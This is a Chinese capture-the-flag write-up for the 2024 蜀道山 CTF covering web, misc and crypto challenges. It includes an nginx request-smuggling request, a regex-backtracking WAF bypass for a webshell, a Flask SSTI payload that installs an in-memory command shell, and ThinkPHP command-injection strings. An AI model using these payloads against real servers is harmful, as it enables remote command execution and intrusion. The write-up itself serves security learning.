蜀道山ctf
web
海关警察训练平台
查看其nginx版本为1.17.60
搜索可以发现该版本可以发现该版本存在请求走私
题目又说其flag在http://infernityhost/flag.html
1
2
3
4
5
6
7
8
9
10
11
12GET /
Host: gamebox.yunyansec.com
Content-Length: 4
Transfer-Encoding : chunked
46
GET /flag.html HTTP/1.1
Host:infernityhost
Content-Length:15
kk
0s
(CVE-2020-12440)Nginx <= 1.8.0 请求走私
奶龙waf
首先需要绕过后缀检测,因为其将GET传值的name通过 $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
来获取文件名后缀那么我们就可以使用/.来进行绕绕过
看源码会发现waf拦的很死,但是我们只要使其检测的结果为false即可,那么这就可以想到使用正则回溯来绕过
可以看到其waf会匹配注释符之间的字符
那么我只要在注释符中塞100万格a然后再后面写上马即可绕过检测命令执行
1 |
|
my_site
这题是赛后复现的,打比赛的时候感觉逻辑和怪就没有去写了。赛后再群里bao师傅说其实就是单身杯的那题我就去复现了一下。其实难度还好就是触发点是真不好找
SSTI的洞就是出现再rot13解密后输出的地方
但bao师傅出的SSTI有点怪我也没往DSBCTF的那题去想,测不出来就去搞别的题了。测了一下
可以之间打内存马
1 | url_for['__glo'+'bals__']['__bui'+'ltins__']["exec"]("exc_class, code = __import__('sys').modules['__main__'].__dict__['app']._get_exc_class_and_code(404);__import__('sys').modules['__main__'].__dict__['app'].error_handler_spec[None][code][exc_class] = lambda err: __import__('os').popen(request.args.get('shell')).read()",{'request':url_for['__glo'+'bals__']['request']}) |
rot13编码后在解密即可
恶意代码检测
着题在一开始看的时候其实我已经发现了在不输入黑名单内字符时,其内容会被双引号包裹然后写入到文件里。之后再进行文件包含,着就导致一个问题我们。再双引号内其实是可以进行命令执行的。
如下
再经过尝试后也确实发现了。可以执行sleep(3)
于是一开始我在本地尝试构造payload构造出了如下payload1
${$a=sl}${$b=eep}${$c=$a.$b}${$c(3)}
这个虽然在本地运行成功了
但在远程并没有触发sleep(3) 怀疑是因为tp框架在第一个${}
就产生了一个Warning然后就停止运行后面的了
比赛后看了wp发现竟然还能这么绕1
${input(0)(input(1))}
input是tp获取http请求的一个函数,只能说还是对tp不够了解吧
比赛的时候我也就卡在了这个的地方
MISC
神奇的硬币纺纱机
全输0就好了
golf
python可以解析斜体字符
直接利用unicode斜体字符来绕即可
1 | print(𝑓lag) |
Elemental Wars
随便输总会赢的。
欢迎来到2024蜀道山CTF
密码
xorrsa
- 看题目可能是和异或有关,但是拿到附件查看和异或没啥关系,q都已知了,n也知道了,e也知道了,直接可以简单计算出来了
- 这里本质上是考察e和
phi_n
不互素的情况
直接将
e//gcd(e,phi_n)
和phi_n
的逆元求出来,将m计算出来,最后将m开gcd(e,phi_n)
次方即可exp如下:
1 | c = 13760578729891127041098229431259961120216468948795732373975536417751222443069805775693845560005881981622202089883866395577154701229046245882282127054969114210307175116574178428823043817041956207503299220721042136515863979655578210499512044917781566303947681251248645504273995402630701480590505840473412765662 |